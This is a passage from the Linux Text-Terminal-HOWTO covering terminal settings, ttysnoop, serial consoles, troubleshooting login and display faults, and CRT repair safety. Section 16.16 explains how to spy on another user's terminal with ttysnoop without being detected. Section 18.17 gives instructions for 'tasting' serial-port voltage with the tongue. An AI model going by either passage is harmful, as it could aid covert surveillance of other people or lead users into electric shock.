One way to get rid of the overstrikes is to use the "ul" (underline) command. You type: ul -t dumb my_overstruck_file > output_file The ul command converts overstrikes to bold for whatever terminal is specified and adds escape sequences to the output_file to generate the bold. But the terminal of type "dumb" has no escape sequences so you get the desired result. There are other ways to do this but this is a possible use for a terminal of type "dumb".

16.12 Inspecting the Interface

These utility programs will provide information about the terminal interface:

  • gitkeys: shows what byte(s) each key sends to the host.
  • tty: shows what tty port you are connected to.
  • set: shows the value of TERM (the terminfo entry name)
  • stty -a: shows all stty settings.
  • setserial -g /dev/tty?? (you fill in ??) shows UART type, port address and IRQ number.
  • infocmp: shows the current terminfo entry (less comments)

16.13 Changing the Terminal Settings

The terminal settings are normally set once when the terminal is installed using the setup procedures in the terminal manual. However, some settings may be changed when the terminal is in use. You normally would not give any "stty" of "setserial" commands when the terminal is in use as they are likely to corrupt the terminal interface. However, there are changes you may make to the appearance of the terminal screen or to its behavior without destroying the integrity of the interface. Sometimes these changes are made automatically by application programs so you may not need to deal with them.

One direct method of making such changes is to use the setup key (or the like) at the terminal and then use menus (or the like) to make the changes. To do this you may need to be familiar with the terminal. The other 3 methods send an escape sequence from the computer to the terminal to make the changes. These 3 examples show different methods of doing this to set reverse video:

  1. setterm -reverse
  2. tput -rev
  3. echo ^[[7m

setterm

This is the easiest command to use. It uses long options (but doesn't use the normal -- before them). It consults the terminfo database to determine what code to send. You may change the color, brightness, linewrap, keyboard repeat, cursor appearance, etc.

tput

The "tput" command is similar to "setterm" but instead of using ordinary words as arguments, you must use the abbreviations used by terminfo. Many of the abbreviations are quite terse and hard to remember.

echo

In the example "echo ^[[7m" to set reverse video, the ^[ is the escape character. To type it type ^V^[ (or ^V followed by the escape key). To use this "echo" method you must find out what code to use from a terminal manual or from terminfo or termcap. It's simpler to use setterm or tput if you are typing on the command line. Since "echo ..." will execute faster (since it doesn't do any lookups) it's good for using in shell scripts which run at start-up, etc.

Saving changes

When you turn off the terminal the changes you made will be lost (unless you saved them in non-volatile terminal memory by going into set-up mode and saving it). If you want to use them again without having to retype them, put the commands in a shell script or make it a shell function. Then run it when you want to make the changes. One way to make the changes semi-permanent is to put the commands in a file that runs each time you login or start up the computer.

16.14 Multiple Sessions

The "screen" package runs multiple sessions something like virtual terminals on the console: See The Console: /dev/tty?. You can switch back and forth between the sessions. The non-free Facet Term software also does this. See FacetTerm

16.15 Logging Out

To log out type either "logout" or "exit". Under some circumstances your request will be refused, but you should be told why. One reason for refusal is if you are not in the same shell that you logged into. Another way to log out is to press ^D. Since ^D is also used for other purposes, you may not want it to log you out. If you set IGNOREEOF in the Bash shell then ^D will no longer log you out.

16.16 Chatting between Terminals, Spying

If two persons logged into terminals on the same host computer want to chat with each other they may use the "write" or the "talk" (better) program. One may prevent anyone (except the superuser) from writing (sending messages) to their terminal by using the "mesg" command.

For spying on what someone else is doing at their terminal use the "ttysnoop" program. In "ttysnoop" the two terminals have the same status and anything typed on either keyboard appears on both screens (in the same location). So if you're really spying and don't want to be detected, you shouldn't type anything.

"ttysnoop" can be used for training with instructor and trainee sitting side-by-side, each at their own terminal. The instructor may watch what the trainee is typing and can correct any mistakes by typing it correctly. The trainee can watch what the instructor types and then try typing it. It's just like they used one terminal with both people having their hands on the keyboard at the same time.

There's one shortcoming to "ttysnoop" and that is that the terminals involved should all be (or emulate) the same type of terminal (such as vt100). Since the "Linux" emulation done by a console (monitor) and the "minicom" emulation are close to vt100 one may use ttysnoop using two PCs, one running "minicom" which emulates a terminal.

There's a non-free program called "DoubleVision" that is something like ttysnoop but does much more. Terminals may be of different types and it can remember and playback sessions on terminals so you can observe what happened in the past. The webpage is at http://www.tridia.com.

16.17 Sharing the Serial Port

If you have another serial device (a printer, modem, etc.) that you want to connect to the same serial port that a terminal is on, then there is more involved than just plugging in the other device. This is mainly because when the getty program or shell is listening on the port, they (or the serial driver) are likely to give a response to any bytes sent to the port. Getty will respawn even if it's killed and will keep sending login prompts to the serial port (which may now be connected to another device). One way to work around this problem is to switch runlevels so that no getty program or shell is running on the port. But if your other use for the port only uses the port for output to an external device, then you may live dangerously by using the port for the other use with the shell or getty (intended for a terminal) simultaneously running on it.

For the runlevel fix, you may create another runlevel in which no getty program runs on the port. Then you enter that new runlevel and use the serial port for something else. To set this up you need to edit /etc/inittab and check and/or set the runlevels at which getty runs. For example the line: "S1:23:respawn:/sbin/getty ..." means that getty will run (on ttyS1) in runlevels 2 and 3. Now you could have it only run in level 2 (by deleting "3") and then go to runlevel 3 when you want to use the other serial device. Thus to use the serial port for something else, the super-user would type "init 3" to switch to runlevel 3. Type "init 2" to get back to runlevel 2. Note that each runlevel may have a different set of initialization scripts but you can change this if you want, so that the same scripts are run in both runlevels. How the scripts and runlevels work are different for each Linux distribution. In Debian, the explanation of this is in /usr/doc/sysvinit but also look in /usr/share/doc.

There's also the problem of the stty configuration of the port. When the port is being used for the terminal it has certain configurations but when say "init 3" is used to switch runlevels and disable getty on the port, the original (boot-time) configuration of the port is not restored. You are likely to wind up with the port configured in a "raw" mode. This means that the serial port likely needs to be fully reconfigured by stty, either by a script you write or by the next application which runs on the port. Some applications such as printing from the serial port are not capable of fully reconfiguring (the /etc/printcap can only partially reconfigure). Thus you may need to write a script to do it. The stty configuration of a terminal will be different depending on whether a shell is running on it, whether it's at the "login" prompt, etc. Thus the stty configuration after switching runlevels may vary.

16.18 Browsers for Terminals

The "lynx" browser works fine with terminals. There are two other text browsers: "w3m" and "links" that only work correctly with the Linux console or vt100 terminals.

"w3m" and "links" overcomes some of the "lynx" deficiencies. They can display tables better and can display frames side-by-side (but they may appear cramped). Unfortunately, they don't have numbered links like lynx does nor do they have good support for cookies. None of these 3 text browsers support Java script.


Text-Terminal-HOWTO: Special Uses for a Terminal

 Next Previous Contents

17. Special Uses for a Terminal

17.1 Make a Serial Terminal the Console

This will turn a text-terminal (or emulator PC) into a "serial console". Many messages from the system are normally only sent to the console (the PC monitor). Some of the messages sent to the console at boot-time may also be seen on any terminal after the boot succeeds by typing the command: dmesg. If the boot failed this will not be of any use since the terminal can't work without an operating system. It's possible to modify the Linux kernel so as to make a terminal serve as the console and receive all the messages from Linux intended for the console. Unfortunately, the messages from the BIOS (which display on the monitor when a PC is first started) will not display on this terminal (but still display on the monitor).

There's a Remote-Serial-Console-HOWTO on this topic. Some people use a serial console when they run a PC without a monitor or keyboard. Normally, a PC will not start up without a keyboard and video card but some BIOSs permit it. If you are lucky enough to have such a BIOS that supports "console re-direct" you will likely then need to setup the BIOS using the CMOS menus when you start your PC.

The method of creating a "serial console" depends on your kernel version. In any case serial support needs to be compiled into the kernel and not supplied as a module.

For Kernels 2.2 or higher

The instructions for creating a serial-console are included with the kernel documentation in: Documentation/serial-console.txt. Kernel 2.4+ has better documentation and mentions the need to run getty on the serial port. Normally, the device /dev/console is linked to tty0 (the PC console). For a serial-console you create a new /dev/console by

mknod -m 622 console c 5 1
You must also put statements regarding the serial-console into /etc/lilo.conf and then run lilo. This is because the equivalent of "setserial" needs to be run early before the kernel is loaded so that the serial-console can display the booting. See the above mentioned kernel documentation and the man page for lilo.conf for more details.

Here is an example /etc/lilo.conf file contents (for ttyS0):

prompt
timeout=50
boot = /dev/sda
vga = normal # force sane state
install = /boot/boot.b
message = /boot/message
image = /vmlinuz
root = /dev/sda1
label = console
serial = 0,9600n8
append = "console=ttyS0"

The same PC may have more than one serial console but the last console mentioned in the "append" statement becomes the main console that you interact with ?? See the kernel docs (but it's not too clear).

For Kernels before 2.2

The Linux Journal in April 1997 had an article on patching the Linux kernel. You add a couple of #defines at the start of src/linux/drivers/char/console.c:

#define CONFIG_SERIAL_ECHO
#define SERIAL_ECHO_PORT 0x2f8  /* Serial port address  */

The following was not in the Linux Journal article.
In kernel 2.+ (and earlier ??) you need to also set the baud
rate (unless 9600 is OK).  Find these 2 lines:

serial_echo_outb(0x00, UART_DLM); /* 9600 baud */
serial_echo_outb(0x0c, UART_DLL);

Change 0x0c in the line above (depending on the baud rate you want):

115200 baud: 0x01       19200 baud: 0x06        2400 baud: 0x30
 57600 baud: 0x02        9600 baud: 0x0c        1200 baud: 0x60
 38400 baud: 0x03        4800 baud: 0x18

If you currently use the console to select which operating system to boot (using LILO), but would like to do this from a terminal, then you need to add a line to the /etc/lilo.conf file. See the manual page for lilo.conf and search for "serial=".

17.2 Run Linux without a Monitor

One way to do this is to just use a terminal (serial console) for the monitor See Make a Serial Terminal the Console. You will likely still need a video card since most BIOSs require one to get the PC started. Your BIOS may also require a keyboard to get started or it may have an option where you can set the BIOS not to require a keyboard.

If you have a keyboardless terminal, it can also be used as a monitor by use of the ttysnoop program. As of yet, it doesn't work like a console since it doesn't get all the initial boot-time messages. See Use a Keyboardless Terminal as the Monitor

17.3 Use a Keyboardless Terminal as the Monitor

How it works

While you might think that a terminal without a keyboard is useless it is possible to use it as the monitor and type on the PC's own keyboard. This may be done by using the spy program ttysnoop. This program permits a person at one terminal to spy on (or snoop) what someone else is typing at another terminal (or the PC console-monitor).

Now suppose you are typing away at the monitor tty1. Imagine that someone with a terminal on ttyS2 is spying on you (with ttysnoop) and has a screen that looks just like your screen. Everything you type at tty1 also displays on ttyS2. Now move the spy terminal (on ttyS2) so it is side-by-side with your monitor (on tty1). Everything you type on the PC keyboard will now display on the two screens in front of you: the monitor and the spy terminal. Now just look only at the spy terminal as you type. Disconnect both the monitor and the terminal keyboard since you're not using either. Thus you are now using a keyboardless terminal as a monitor. What a simple but clever solution!

One possible problem (which turns out to be no problem at all) is that normally, the type of spy terminal should be the same as the type of terminal being spied upon. Since the monitor is normally declared as a terminal of type "linux" (which is close to vt100), you might think that the real terminal should also be (or at least emulate) a vt100. Not necessarily so! For example, if you have a wyse60 terminal you simply falsely declare that you have a wyse terminal on tty1 (tell the getty program for tty1 that it's a wyse60).

Here's why you can get away with this. Go back the the scenario where you have both the monitor and the wyse60 terminal in front of you, both displaying the same thing (or trying to). Ttysnoop will be sending the wyse60 the same bytes as are going to the monitor. If you've falsely claimed that the monitor is a wyse60, then you'll have wyse60 escape sequences going to both the monitor and the wyse60 terminal (via ttysnoops). The display on the wyse60 is fine but the display on the monitor is corrupted since it's getting wyse60 escape sequences. Since you will not use the monitor (and are about to disconnect it) this corruption is never a problem (you simply don't see it).

Example configuration

This is not the ideal setup since ttysnoop runs so late that the login prompt doesn't appear. This example is for a wyse60 terminal on ttyS2 and the missing monitor/PC-keyboard on tty1. It uses the agetty program for getty as supplied by the Debian distribution. Your getty may require a different format.

In /etc/inittab:

1:2345:respawn:/sbin/getty 38400 tty1 wyse60 -ln /usr/sbin/ttysnoops

Note that ttysnoop/ttysnoops is a client-server combo so the "s" is not a typo. If you don't use -n you may not see a login prompt on the terminal. With no -n, agetty issues the prompt before the ttysnoop is activated. With -n, agetty doesn't issue the prompt (but login does instead). If you use -n, agetty will no longer automatically detect parity but if you don't use parity all is OK.

In /etc/snooptab:

# tty       snoopdev      type    execpgm
tty1        /dev/ttyS3    init    /usr/local/bin/sterm
In the above, a script named sterm is used to run the stty program. You may not need this or may want to use it for another purpose. Here's the example sterm script in /usr/local/bin/sterm:

#!/bin/sh
stty rows 24
/bin/login $@


Text-Terminal-HOWTO: Trouble-Shooting

 Next Previous Contents

18. Trouble-Shooting

If you suspect that the problem is a hardware problem, see the Repair and Diagnose section. If it's the keyboard see Keyboards. If it responds incorrectly (if at all) to what you type. see Corrupted Terminal Interface. If the problem involves the serial port itself see the Serial-HOWTO.

Here is a list of possible problems:

  • Is the Terminal OK ? Suspect the terminal is defective.
  • Display Freezes (hung terminal)
  • Displays Foreign/Weird Characters/Symbols
  • Displays Escape Sequences
  • Missing Text Either skips over some text or displays some text OK and hangs.
  • All Keys Work Erratically; Must Hit a Key a Few Times
  • If getty run from command line: Programs get stopped with message "Stopped"
  • Getty Respawning Too Rapidly (console error message)
  • Fails Just After Login
  • Can't Login but login prompt is OK.
  • Garbled Login Prompt
  • No Login Prompt

There are two cases where the terminal goes bad. One is when it's been recently working OK and suddenly goes bad. This is discussed in the next sub-section. The other case is where things don't work right just after you install a terminal. For this case you may skip over the next section.

18.1 Terminal Was Working OK

When a formerly working terminal suddenly goes bad it is often easy to find the problem. That's because (except for hardware failures) the problem is likely due to something that you did (or something the software that you used did).

The problem may be obvious such as an error message when the terminal is first turned on. If it makes a strange noise it likely needs repair. See Repair & Diagnose. First, think about what has been done or changed recently as it's likely the cause of the problem. Did the problem happen just after new system software was installed or after a change in the configuration?

If the terminal isn't responding correctly (if at all) to what you type to it, you may have a Corrupted Terminal Interface.

18.2 Terminal Newly Installed

If you've just connected up a terminal to a computer per instructions and it doesn't work this section is for you. If a terminal that formerly worked OK doesn't work now then see Terminal Was Working OK If you suspect that the serial port on your computer may be defective you might try running a diagnostic test program on it. At present (June 1998) it seems that Linux doesn't yet have such a diagnostic program so you may need to run diagnostics under MS DOS/Windows. There are some programs to monitor the various serial lines such at DTR, CTS, etc. and this may help. See Serial Monitoring/Diagnostics

One approach is to first see if the the terminal will work by trying to copy a file to the terminal (cp my_file /dev/ttyS?) under the most simple situation. This means with the modem control lines disabled and at a show speed that doesn't need flow control (make sure that any hardware flow control is disabled). If this copy works, then make the situation a little more complicated and see if it still works, etc., etc. When the trouble appears just after you made a change, then that change is likely the source of the trouble. Actually, its more efficient (but more complex) to jump from the simple situation to about half way to the final configuration so that the test eliminates about half of the remaining possible causes of the problem. Then repeat this methodology for the next test. This way it would only take about 10 tests to find the cause out of a thousand possible causes. You should deviate a little from this method based on hunches and clues.

18.3 Is the Terminal OK ?

Many terminals will start up with some words on the screen. If these words convey no error message, it's probably OK. If there is no sign of power (a dark screen, etc.) re-plug in the computer power cord at both ends. Make sure there is power at the wall jack (or at the extension cord end). Try another power cord if you have one. Make sure the terminal is turned on and that its fuse is not blown. A blank (or dim) screen may sometimes be fixed by just turning up the brightness and contrast using knobs or a keyboard key in set-up mode.

A terminal that's been stored for a long time may take a while to "warm up" as the electrolytic capacitors heal themselves under voltage. If it still won't work See Repair & Diagnose for tips on repairing it.

If the terminal starts up OK, but you suspect that something may be wrong with it, go into "local mode" where is works like a typewriter and try typing on it. See Local Mode. Before you have trouble, you should find out if your terminal displays error messages if the hardware is bad. One way to test a terminal for this is to turn it on with the keyboard unplugged and see if it displays an error message.

18.4 Missing Text

If several lines or text displays on the terminal OK and then it stops without finishing (in the middle of a word, etc.) or if big chunks of text are missing, you likely have a problem with flow control. If you can't figure out right away what's causing it, decrease the speed. If that fixes it, it's likely a flow control problem. It may be that flow control is not working at all due to failure to configure it correctly, or due to incorrect cable wiring (for hardware flow control). See Flow Control

If you can type OK at the terminal but when text is sent to the terminal only about 1 in every 16 characters sent gets thru, then you may have given the wrong UART to setserial. This will happen if the port is an obsolete 16550 (or lower) but you've told setserial it's a 16550A or higher.

If single characters are missing, perhaps the serial port is being overrun by too fast a speed. Try a slower baud rate.

If your device is under 1200 baud (probably a very slow old hard-copy terminal or printer) and the text gets truncated, then the problem may be in the serial device driver. See Printing-HOWTO under "Serial devices" on how to fix this.

18.5 All Keys Work Erratically; Must Hit a Key a Few Times

This is where you need to hit a key a few times before it works (and see the letter you typed on the screen). If you type a word, some (or even all) of the letters may be missing on the screen. If letters are missing from a command it doesn't work and even if all letters are present you may need to hit the return-key several times to get the command to execute.

This may be due to two different processes opening the serial port. Both try to read what you type. Sometimes one process (the right one --perhaps the shell) reads what you type and at other times the other process reads what you type. An example is where the other process is for a serial mouse (such as gpm) which doesn't echo what you type. So another process running on the same ttySx is eating some of what you type. To fix this, use "ps -alx" to see what else is running on your ttySx and kill that process.

You might think that lockfiles would prevent this. But neither the terminal nor the gpm mouse program uses lockfiles. Since others may need to write to your terminal, it's reasonable not to use lockfiles. See Lock-Files in the Serial-HOWTO.

18.6 ... respawning too fast: disabled for 5 minutes

What's happening

You see a message on the console like: "Getty respawning too fast: disabled for 5 minutes". Instead of "Getty" it may display a label (such as: Id "S2") where S2 is the label for the line in /etc/inittab from where from where getty was called.

When getty starts up, it tries to send a login message to the serial port. But if there is something seriously wrong, getty will be immediately killed. Since the /etc/inittab file line for getty says to "respawn", getty is started again, only to be killed again, etc. Thus getty respawns over and over. But the operating system intervenes and stops this nonsense (for 5 minutes). The following sections show possible causes and fixes.

Getty line in /etc/inittab file incorrect

Make sure the the line which calls getty in /etc/inittab is correct. A typo in ttySx (or DTxxxx for uugetty) may cause this problem.

No modem control signal

If the terminal doesn't send the PC a CD signal on one of the pins of the serial port, getty will be killed unless the "local" option has been used with getty. So a quick fix is to just use a "local" option (-L for agetty, "CLOCAL" in /etc/gettydefs for ps_getty).

Another approach is to determine why CD is not being asserted. In many cases the cable to the terminal simply doesn't have a wire for the CD pin so you must use the "local" option. If there is a wire for the CD pin then there may not be any signal on it until the terminal is powered on. Note that the CD pin signal is sometimes supplied by the DTR pin of the terminal (or the PC) by using jumper wires inside the connector.

No such serial device

If the device (such as /dev/ttyS2) is bogus (doesn't physically exist or has been disabled), then getty will be killed. You may use "scanport" and/or "setserial" to probe for the device or try another ttyS. Perhaps the device has been disabled in the CMOS. See "Serial-HOWTO".

No serial support

Linux provides serial support either by selecting it when compiling the kernel or by loading the serial module: serial.o. This "respawning" error happens if serial support has neither been built into the kernel nor provided by a serial module. You many use the "lsmod" command to see if the serial module is loaded. To see if serial support is built into the kernel, check a kernel configuration file (in /boot, in the source tree, etc.)

Key shorted

Another possible cause of getty respawning too rapidly is if a keyboard key is shorted. This gives the same result as if the key was continuously held down. With auto-repeat enabled, this "types" thousands of characters to the login prompt. Look for a screen filled with all the same character (in some cases, with 2 or more different characters).

18.7 Fails Just After Login

If you can login OK but then you can't use the terminal it may be because the starting of the login shell has reconfigured the terminal (to an incorrect setting) by a command which someone put into one of the files that are run when you login and a shell starts. These files include /etc/profile and /.bashrc. Look for a command starting with "stty" or "setserial" and make sure that it's correct. Even if it's done OK in one initialization file, it may be reset incorrectly in another initialization file that you are not aware of. Ways to get into the systems to fix it are to use another terminal or console, use a rescue diskette, or type: "linux single" at the lilo prompt which puts you into single user mode without running startup files.

18.8 Can't Login

If you get a login prompt but get no response (or perhaps a garbled response) to your login attempts a possible cause is that the communication is bad one-way from the terminal to the computer. It could be a bad or mis-wired cable/connector. If you're not already using the "local" option with getty, do so to disable the modem control lines. See Getty (used in /etc/inittab). You might also disable hardware flow control (stty -crtscts) if it was enabled. If it now works OK then your modem control lines are likely either not wired correctly or there's a mistake in your set-up. Some terminals allow setting different values (such as baud rate) for send and receive so the receive could be OK but the send bad.

You should also (at the console) try "stty < /dev/ttyS1" (if you use ttyS1) to see that it's set up correctly. It will often be in raw mode (and this is probably OK) with -icanon and -echo etc. If the terminal incorrectly set at half-duplex (HDX), then one set of the characters you see when you type are coming from the terminal itself. If the characters are doubled, then the echos from the computer are OK and you may switch to full-duplex to fix this. But if half-duplex is set and you only see what looks like normal "echos", then they are not coming from the computer as they should be.

If you get a message saying something like "login failed" then if there is no error in typing or in the password, there may be some restrictions on logins which will not allow you to log in. Unfortunately, this message, may not tell you why it failed. See Login Restrictions

18.9 Garbled Login Prompt

This may be due to using the wrong character set, transmission errors due to too high of a baud rate, incompatible baud rates, incompatible parity, or the wrong number of bits per byte. If it's a variety of strange characters you have the wrong character set or a high order bit is being set by mistake. If words are misspelled, try a lower baud rate. For baud, parity, or bits/character incompatibilities you see a lot of the same "error character" which represents a real character that can't be displayed correctly due to an error in parity or baud rate.

If you are using agetty (often just named getty), the agetty program will detect and set parity and/or bits/character if you type something. Try it with a return to see if it fixes it.

18.10 No Login Prompt

If there's no login prompt displayed after hitting the return-key a few times then check the following: Use the "top" or "ps" programs to make sure that a getty (or login) process is actually running on the terminal. Is the terminal getting power? Is the null modem cable plugged in to the correct ports on both the terminal and computer?

Check that getty isn't hanging because there is no CD signal (or no CD wire in the cable). If such a CD signal doesn't exist you should have specified "local" to getty by either:

  • If getty_ps (Redhat, etc.) two CLOCAL flags in /etc/gettydefs (See getty (part of getty_ps)).
  • If agetty (Debian, etc.) a -L flag in /etc/inittab (See agetty).

If getty (or login) isn't running, carefully check the format for calling getty in /etc/inittab. Make sure that it includes the current runlevel (shown by typing the command "runlevel") and that it is valid for your flavor of getty. Sometimes killing getty or login (it will restart automatically) helps.

Terminal was working OK

Although hardware failures are possible, the problem is likely due to something that someone did by mistake. Did someone do something that might have loosened a cable? Did someone modify /etc/inittab or make some other change to the software so as to prevent terminal login? If this doesn't reveal the cause, continue reading.

More diagnose

The above should solve most cases (unless you've just installed a terminal). Other causes include defective hardware or cables (must be null-modem), terminal setup at wrong baud-rate, terminal in local mode, etc. At this point two different avenues of approach are (you may pursue more than one at a time).

  • Diagnose problem from the console
  • Measure voltages

Diagnose problem from the console

One test is to try to copy a something to the terminal (It might be a good idea to try this near the start of the installation process before setting up getty). You may use the Linux copy command such as:"cp file_name /dev/ttyS1". Or your could use: "echo any_word > /dev/ttySx". If it doesn't work, use stty to make the interface as simple as possible with everything disabled (such as hardware flow control: -crtscts; parity, and modem control signals: clocal). Be sure the baud rates and the bits/byte are the same. If nothing happens verify that the port is alive with a voltmeter per the next section.

Measure voltages

If you have a voltmeter handy check for a negative voltage (-4v to -15v) at pin 3 (receive data) at the terminal side of the null-modem cable. The positive lead of the meter should be connected to a good ground (the metal connectors on the ends of cables are often not grounded). If there is no such negative voltage then check for it at the transmit pin (TxD) on the computer (see DB9-DB25 for the pin-out). If it's present there but not at the receive pin (RxD) at the terminal, then the cable is bad (loose connection, broken wire, or not a null-modem). If voltage is absent at the computer, then its serial port is dead. Test it with a software diagnostic test or replace it.

If the serial port is alive, you may want to send a file to it (with modem controls disabled) and watch the signal on a voltmeter (or other electronic gadget). To check for a transmitted signal with a voltmeter, check for a steady negative voltage when the line is idle. Then start sending a file (or start getty). On an analog meter you should see the needle dropping to almost 0 and fluttering about 0 as it measures short-run averages of the bit stream. On a digital meter you will not see the fluctuations as well but you can switch to the AC scale to see the AC voltage created by the flow of bits. If your meter fails to block out DC on the AC scale (the default of most analog meters), then you could get a false high AC reading when looking at the idle DC of -12 V on the AC scale. Without a meter, you could connect a known good device (such as another terminal or an external modem) to the serial port and see if it works OK.

18.11 Displays Foreign/Weird Characters/Symbols

Don't confuse this with Displays Escape Sequences. If what you type or see on the screen is not what's expected but looks like a foreign alphabet, math symbols, line-drawing character, etc. then it could be that the many of bytes that are sent to your terminal have the high order bit set (when it shouldn't be). You are looking at the character set (or part of a character set) which has the high order bit set. This may happen if you have the baud rate wrong or parity set wrong (per stty). If you have parity set per stty but inside the terminal it's 8-bit no-parity, then the high order bit (= parity bit) will often be erroneously set. Try stty -F /dev/ttyS? from another terminal to check if the baud rate and parity are correct.

Perhaps the wrong character set (font) has been installed. An erroneous escape sequence sent to the terminal could have switched character sets. If you are using the mapchan program to change the keyboard mapping, it could be incorrect.

18.12 Displays Escape Sequences

You may see something like "5;35H22,1" or "3;4v" or "1;24r" or "^[[21;6H", etc., etc. Of course, the numbers and letters will be different. They will be scattered about (either randomly or in a strange sense of order). The display will look a mess and will likely have other defects. Some application and commands will result in corrupted displays.

What you see are escape sequences (or fragments of them) that were sent to your terminal in order to control it, but your terminal didn't recognize them and passed them on to the screen. It's likely that the program you're using erroneously thinks you are using another type of terminal. Thus it sends escape sequences that your terminal doesn't understand. This can sometimes do strange things to your display. Check that the TERM environment variable is set correctly (type: echo $TERM).

Telnet

The problem of getting TERM right can be a bit more complex if you use telnet. Telnet doesn't emulate a terminal but passes the value of your TERM variable to the remote computer. If the remote computer doesn't support your type of terminal, or changes the value of TERM to a wrong value (on the remote) then there's trouble. Telnet should initially set the value of TERM correctly on the remote. But changes to the value of TERM (on the remote) could be caused by an incorrect shell configuration file there. The first thing to do is to check the value of TERM, both on your computer and on the remote. The above is overly simplified since it's possible for your telnet client to present the remote server with a list of possible TERM values which your computer supports (if telnet knows that your computer can emulate more than one terminal type).

Terminal set to display escape sequences

Another possible cause is that your terminal happens to be in a special mode where it displays the escape sequences instead of executing them. Then you'll also see them on the screen but they will display in an orderly fashion. This mode is more precisely, one that displays control codes. But since each escape sequence starts with a control code (the "escape" character), the whole escape sequence is not recognized by the terminal and is passed along to the screen. See Control Codes.

18.13 Slow: pauses of several seconds between bursts of characters

You likely have mis-set interrupts> See the Serial-HOWTO section starting with "Slow:"

18.14 Terminal doesn't scroll

One reason may be that something is wrong with terminfo. Another reason could be that you are outside the scrolling region set for the terminal. Some stupid programs just assume that your terminal has 24 lines and set the scrolling region for 24 lines (by an escape sequence sent to the terminal) without consulting terminfo to see how many lines there actually are. Then when you use another program it may leave the cursor on line 25 where it becomes trapped and the terminal will not scroll. To avoid this problem, create an environment variable "export LINES=25" and also "stty -F /dev/ttySx rows 25". Then the programs that assume 24 lines will hopefully use 25 lines set the scrolling region accordingly.

18.15 Serial Monitoring/Diagnostics

A few Linux programs will monitor the modem control lines and indicate if they are positive (1) or negative (0).

  • statserial (in Debian distribution)
  • serialmon (doesn't monitor RTS, CTS, DSR but logs other functions)
  • modemstat (only works on Linux PC consoles. Will coexist with the command line)
You may already have them. If not, go to Serial Software. When using these, bear in mind that what you see is the state of the lines at the host computer. The situation at the terminal will be different since some wires are often missing from cables while other wires cross over. As of June 1998, I know of no diagnostic program in Linux for the serial port.

18.16 Local Mode

In local mode, the terminal disconnects from the computer and behaves like a typewriter (only it doesn't type on paper but on the screen). Going back into on-line mode reconnects to the computer allowing you to resume activities at the same point where you left off when you went into "local". This is useful both for testing the terminal and for educational purposes. For some terminals there is no "local mode" but "block mode" may substitute for it. If there is no "block mode", "half duplex" mode might work, except that what you type gets sent to the computer also. In this case the computer may echo the characters sent to it resulting in two characters displayed on the screen for every character you type. To prevent this you could shut down the computer, disconnect the RS-232 cable, etc.

When in local mode you may type escape sequences (starting with the ESC key) and observe what they do. If the terminal doesn't work correctly in local mode, it's unlikely that it will work correctly when connected to the computer. If you're not exactly sure what an escape sequence does, you can try it out in local mode. You might also use it for trying out a terminal that is for sale. To get into local mode on some terminals you first enter set-up mode and then select "local" from a menu (or press a certain key). See Getting Into Set-Up (Configuration) Mode.

18.17 Serial Electrical Test Equipment

Breakout Gadgets, etc.

While a multimeter (used as a voltmeter) may be all that you need for just a few serial ports, simple special test equipment has been made for testing serial port lines. Some are called "breakout ... " where breakout means to break out conductors from a cable. These gadgets have a couple of connectors which connect to serial port connectors (either at the ends of serial cables or at the back of a PC). Some have test points for connecting a voltmeter. Others have LED lamps which light when certain modem control lines are asserted (turned on). The color of the light may indicate the polarity of the signal (positive or negative voltage). Still others have jumpers so that you can connect any wire to any wire. Some have switches.

Radio Shack sells (in 2001) a "RS-232 Troubleshooter" (formerly called "RS-232 Line Tester") Cat. #276-1401. It checks TD, RD, CD, RTS, CTS, DTR, and DSR. A green light means on (+12 v) while red means off (-12 v). They also sell a "RS-232 Serial Jumper Box" Cat. #276-1403. This permits connecting the pins anyway you choose. Both these items are under the heading of "Peripheral hookup helpers". Unfortunately, they are not listed in the index to the printed catalog. They are on the same page as the D type connecters so look in the index under "Wire & Cable, Connectors. Or look under "Tools, D-Sub Connection Pin ...". A store chain named "Active Component

Measuring voltages

Any voltmeter or multimeter, even the cheapest that sells for about $10, should work fine. Trying to use other methods for checking voltage is tricky. Don't use a LED unless it has a series resistor to reduce the voltage across the LED. A 470 ohm resistor is used for a 20 ma LED (but not all LED's are 20 ma). The LED will only light for a certain polarity so you may test for + or - voltages. Does anyone make such a gadget for automotive circuit testing?? Logic probes may be damaged if you try to use them since the TTL voltages for which they are designed are only 5 volts. Trying to use a 12 V incandescent light bulb is not a good idea. It won't show polarity and due to limited output current of the UART it probably will not even light up.

To measure voltage on a female connector you may plug in a bent paper clip into the desired opening. The paper clip's diameter should be no larger than the pins so that it doesn't damage the contact. Clip an alligator clip (or the like) to the paper clip to connect up. Take care not to touch two pins at the same time with any metal object.

Taste voltage

As a last resort, if you have no test equipment and are willing to risk getting shocked (or even electrocuted) you can always taste the voltage. Before touching one of the test leads with your tongue, test them to make sure that there is no high voltage on them. Touch both leads (at the same time) to one hand to see if they shock you. Then if no shock, wet the skin contact points by licking and repeat. If this test gives you a shock, you certainly don't want to use your tongue.

For the test for 12 V, Lick a finger and hold one test lead in it. Put the other test lead on your tongue. If the lead on your tongue is positive, there will be a noticeable taste. You might try this with flashlight batteries first so you will know what taste to expect.


Text-Terminal-HOWTO: Repair & Diagnose

 Next Previous Contents

19. Repair & Diagnose

Repairing a terminal has much in common with repairing a monitor and/or keyboard. Sometimes the built-in diagnostics of the terminal will display on the screen. By the symptoms, one may often isolate the trouble to one of the following: bad keyboard, CRT dead, power electronics failure (distorted display), or digital electronics failure. It's best to have a service manual, but even if you don't have one, you can often still repair it.

19.1 Repair Books & Websites

Books

Bigelow, Stephen J.: Troubleshooting & Repairing Computer Monitors, 2nd edition, McGraw-Hill, 1997. Doesn't cover the character generation electronics nor the keyboard.

Websites

The FAQ http://www.repairfaq.org for the newsgroup: sci.electronics.repair is long and comprehensive, although it doesn't cover terminals per se. See the section "Computer and Video Monitors". Much of this information is applicable to terminals as are the sections: "Testing Capacitors", "Testing Flyback Transformers", etc. Perhaps in the future, the "info" on repair in this HOWTO will consist mainly of links to the above FAQ (or the like). Shuford's repair archive of newsgroup postings on terminal repair is another source of info.

19.2 Safety

CRT's use high voltage of up to 30,000 volts for color (less for monochrome). Be careful not to touch this voltage if the set is on and the cover off. It probably won't kill you even if you do since the amount of current it can supply is limited. But it is likely to badly burn and shock you, etc. High voltage can jump across air gaps and go thru cracked insulation so keep your hands a safe distance from it. You should notice the well-insulated high voltage cable connected to one side of the picture tube. Even when the set is off, there is still enough residual voltage on the picture tube cable connection to give you quite a shock. To discharge this voltage when the set is unplugged use a screwdriver (insulated handle) with the metal blade grounded to the picture tube ground cable with a jumper wire. Don't use chassis ground.

